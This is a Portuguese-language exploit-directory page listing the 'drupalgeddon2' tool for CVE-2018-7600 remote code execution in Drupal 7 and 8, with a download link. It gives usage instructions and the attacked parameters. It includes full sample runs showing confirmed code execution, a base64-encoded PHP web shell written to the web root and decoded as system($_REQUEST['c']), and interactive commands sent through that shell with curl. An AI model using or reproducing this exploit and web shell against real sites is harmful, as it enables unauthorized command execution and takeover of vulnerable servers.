Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/dreadlocked/drupalgeddon2
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebTestes de Penetração
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit para Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Ver Repositório
60016933há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Suporta:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, atacando os parâmetros account/mail e #post_render, usando a função passthru do PHP
  • Drupal < 7.58 ~ URL user/password, atacando o formulário triggering_element_name e o parâmetro #post_render, usando a função passthru do PHP
  • Funciona com comandos diretos (também conhecido como Método Sem Arquivo) ou escreve um shell PHP na raiz web (./) ou subdiretórios (./sites/default/ e ./sites/default/files/)
  • Suporta alvos Linux e Windows
  • Detecta automaticamente a versão do Drupal (ou faz um bom palpite!)

O método user/register foi escolhido para o Drupal v8.x, pois retorna HTTP 200 e renderiza a saída na resposta JSON data (descomente o código para o método timezone/#lazy_builder, que retornará HTTP 500 e cego!) (Mais Informações)

Autores:

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

Notas:

  • Para usuários/configurações avançados, existe um exploit mais personalizável. Veja a seção drupalgeddon2-customizable-beta.rb
  • Antes de abrir uma issue, por favor, leia a seção de solução de problemas no final. Obrigado!

Usage:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

Os parâmetros --verbose e --authentication podem ser adicionados em qualquer ordem após e são ambos opcionais. Se --authentication for especificado, você será solicitado a fornecer

  • nome de usuário,
  • senha,
  • nome do campo do formulário para o nome de usuário,
  • nome do campo do formulário para a senha,
  • caminho da URL para a página de login web, por exemplo, user/login
  • sufixo eventual para anexar após as credenciais no envio do formulário, por exemplo, form_id, etc.

Isso é para suportar a exploração de sites que primeiro exigem login web baseado em POST e que respondem com um cookie de sessão, após autenticação bem-sucedida.

Exemplo Drupal v8.x

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Exemplo Drupal v7.x

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

Comandos Diretos / Shell Não PHP (também conhecido como Método Sem Arquivo)

Se você não quiser nem tentar escrever um shell web PHP no servidor web, edite o arquivo conforme mostrado (ele voltará ao método alternativo se não conseguir encontrar um local gravável de qualquer forma):

try_phpshelltryphpshell = false

Exemplo

Baixar ferramenta